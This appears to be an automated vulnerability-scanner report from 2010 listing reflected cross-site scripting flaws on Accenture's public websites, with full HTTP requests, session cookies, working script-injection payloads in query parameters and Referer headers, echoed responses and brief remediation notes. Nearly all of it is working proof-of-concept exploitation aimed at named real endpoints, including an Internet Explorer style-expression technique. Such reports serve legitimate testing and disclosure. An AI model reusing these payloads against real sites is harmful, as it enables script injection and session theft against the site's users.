GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd8b150"><script>alert(1)</script>a28362fa3c1&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:36 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:35 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67198
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... =66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd8b150"><script>alert(1)</script>a28362fa3c1&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the search_in request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a86ff"><script>alert(1)</script>74b31afde1a was submitted in the search_in parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=maina86ff"><script>alert(1)</script>74b31afde1a&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:45 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:44 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67198
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... 43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=maina86ff"><script>alert(1)</script>74b31afde1a&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 522c2"><script>alert(1)</script>af5239f4278 was submitted in the site parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations522c2"><script>alert(1)</script>af5239f4278&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:44 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:43 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67195
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... 03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations522c2"><script>alert(1)</script>af5239f4278&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the windowTitle request parameter is copied into the HTML document as text between TITLE tags. The payload 71140</title><x%20style%3dx%3aexpression(alert(1))>22cfa4275fecd007f was submitted in the windowTitle parameter. This input was echoed as 71140</title><x style=x:expression(alert(1))>22cfa4275fecd007f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 17:15:36 GMT Connection: keep-alive Set-Cookie: Commerce2002_TestSessionCookie=TestCookie; path=/ Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 17:15:36 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 8183
<title>71140</title><x style=x:expression(alert(1))>22cfa4275fecd007f</title> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>PrintThis</title>
The value of the windowTitle request parameter is copied into the HTML document as text between TITLE tags. The payload 6a17b</title><x%20style%3dx%3aexpression(alert(1))>1898685ddda was submitted in the windowTitle parameter. This input was echoed as 6a17b</title><x style=x:expression(alert(1))>1898685ddda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /accenture/registration/PrintThis.aspx?GUID={13DF5E01-389F-4013-BC36-296A775C1FE5}&footerGuid=9E541954-D5F8-4EC6-AF22-9FF473A55D70&authorContext=PresentationPublished&channelguid={4FDF0FFF-C188-490F-AEA1-A93A6B40D85B}&windowTitle=Submit6a17b</title><x%20style%3dx%3aexpression(alert(1))>1898685ddda HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:47:05 GMT Content-Length: 8127 Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:05 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<title>Submit6a17b</title><x style=x:expression(alert(1))>1898685ddda</title> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>PrintThis</title>
The value of the windowTitle request parameter is copied into the HTML document as plain text between tags. The payload 931a7<x%20style%3dx%3aexpression(alert(1))>96a5af8d84d44cce5 was submitted in the windowTitle parameter. This input was echoed as 931a7<x style=x:expression(alert(1))>96a5af8d84d44cce5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 17:15:19 GMT Connection: keep-alive Set-Cookie: Commerce2002_TestSessionCookie=TestCookie; path=/ Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 17:15:19 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 8297
<title>Submit6a17b</title><x style=x:expression(alert(1))>1898685ddda931a7<x style=x:expression(alert(1))>96a5af8d84d44cce5</title> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HT ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6f31"><a>eaabc623be2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /article_display.cfm?article_id=5052 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=c6f31"><a>eaabc623be2
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 147fc"%3balert(1)//6c83825ff2d was submitted in the Referer HTTP header. This input was echoed as 147fc";alert(1)//6c83825ff2d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 16:48:34 GMT Connection: close Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 68903
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/search/search.aspx" var formPageReferrer="accenture/search/147fc";alert(1)//6c83825ff2d" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d837b"%3balert(1)//f0fcb94c3c6 was submitted in the Referer HTTP header. This input was echoed as d837b";alert(1)//f0fcb94c3c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /accenture/search/search.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: d837b"%3balert(1)//f0fcb94c3c6
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:27 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:27 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 66799
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/search/search.aspx" var formPageReferrer="accenture/search/d837b";alert(1)//f0fcb94c3c6" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3528e"%3balert(1)//6b050943d86 was submitted in the Referer HTTP header. This input was echoed as 3528e";alert(1)//6b050943d86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 16:47:05 GMT Connection: keep-alive Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:04 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; path=/ Cache-Control: private Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 60496
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title id="pageTitle">E-mail Alerts & Newsletters</title> <meta content="Microsoft Visual Studio .NET 7.1" n ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/ean.aspx" var formPageReferrer="accenture/registration/3528e";alert(1)//6b050943d86" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86d19"%3balert(1)//702d592eee6 was submitted in the Referer HTTP header. This input was echoed as 86d19";alert(1)//702d592eee6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Accenture/Registration/GenericTemplate.aspx?NRMODE=Published&NRORIGINALURL=%2fGlobal%2fRegistration%2fMailTo%2ehtm&NRNODEGUID=%7b832928A7-7F09-4627-9CE3-4DDCCF3676AA%7d&NRCACHEHINT=Guest HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: 86d19"%3balert(1)//702d592eee6
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:47:31 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:30 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=/global/personalization&Content=&ThankYouPageTitle=Confirmation&ReferrerPageTitle=Your Content&ThankYouPageType=&ThankYouPageLinks=; path=/ Set-Cookie: FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 46442
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">Send us an E-mail</title> <META http-equiv="Content-Type" content="text/html; charset=win ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/mailto.htm" var formPageReferrer="accenture/registration/86d19";alert(1)//702d592eee6" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f93bb"%3balert(1)//7c5bd8ef11 was submitted in the Referer HTTP header. This input was echoed as f93bb";alert(1)//7c5bd8ef11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Accenture/Registration/IMFormTemplate.aspx?NRMODE=Published&NRORIGINALURL=%2fGlobal%2fRegistration%2fFeedbackForm%2ehtm&NRNODEGUID=%7b13DF5E01-389F-4013-BC36-296A775C1FE5%7d&NRCACHEHINT=Guest HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: f93bb"%3balert(1)//7c5bd8ef11
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:47:53 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:53 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=/global/personalization&Content=%0aThanks+again+for+taking+the+time+to+submit+your+feedback+on+accenture.com%0a&ThankYouPageTitle=Feedback+Submitted&ReferrerPageTitle=Your Content&ThankYouPageType=&ThankYouPageLinks=; path=/ Set-Cookie: FormSubmitURL=ThankYouPage.aspx; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 63558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD html 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">Submit feedback on accenture.com</title> <!-- Meta Data --> <meta http-equiv="Content ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/feedbackform.htm" var formPageReferrer="accenture/registration/f93bb";alert(1)//7c5bd8ef11" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ee77"%3balert(1)//ac5d1db6925 was submitted in the Referer HTTP header. This input was echoed as 3ee77";alert(1)//ac5d1db6925 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Accenture/Registration/LoginPage.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: 3ee77"%3balert(1)//ac5d1db6925
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:46:36 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:46:36 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 57251
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Register or Sign In </title> <script language="javascript"> <!-- function PopWindow(targeturl) ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/loginpage.aspx" var formPageReferrer="accenture/registration/3ee77";alert(1)//ac5d1db6925" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b8e6"%3balert(1)//52d4b73a73a was submitted in the Referer HTTP header. This input was echoed as 7b8e6";alert(1)//52d4b73a73a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
